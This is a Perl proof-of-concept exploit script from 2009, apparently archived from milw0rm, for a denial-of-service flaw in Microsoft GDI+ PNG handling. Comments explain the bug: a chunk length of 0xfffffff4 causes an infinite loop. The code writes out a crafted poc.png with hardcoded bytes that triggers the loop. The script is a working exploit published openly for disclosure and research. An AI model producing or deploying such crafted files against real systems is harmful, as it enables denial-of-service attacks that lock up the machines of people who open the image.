477bcbdcc0
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46 lines
1.1 KiB
Perl
Executable file
46 lines
1.1 KiB
Perl
Executable file
#! /usr/bin/perl
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#CAL_gdiplug_poc.pl
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#
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# Mircosoft_gdiplug_png_infinity_loop_D.o.S POC
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# by Code Audit Labs public 2009-04-17
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# http://www.vulnhunt.com/
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#
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#Affected
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#========
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#test on full updated winxp sp3
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#other version should be affected
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#
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#CVE: please assign to a CVE number
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#
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#DESCRIPTION
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#===========
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#
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# The vulnerability exists within the code in MicroSoft Gdi+ processing crafted png file. that cause infinity loop to cause high CPU(100%) and D.o.S .
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#
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#
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#ANALYSIS
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#========
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#
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# png chunk
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#
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# {
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# DWORD btChunkLen;
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# CHAR btChunkType[4];
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#} CHUNK_HEADER;
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#if btChunkLen is 0xfffffff4, would cause code fall into infinity loop
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#
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open(Fin, ">poc.png") || die "can't create crash sample.$!";
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binmode(Fin);
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$data =
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"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52" .
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"\x00\x00\x03\x00\x00\x00\x04\x00\x08\x02\x00\x00\x00\xd9\x44\xa9" .
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"\x57\xff\xff\xff\xf4\x41\x41\x41\x41\x62\x01\x08\xcb\x06\x49\x3e" .
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"\xd7\x0a\x00\x22\xe3\xf1\x32\x3e\xe8";
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print Fin $data;
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close(Fin);
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# milw0rm.com [2009-04-17]
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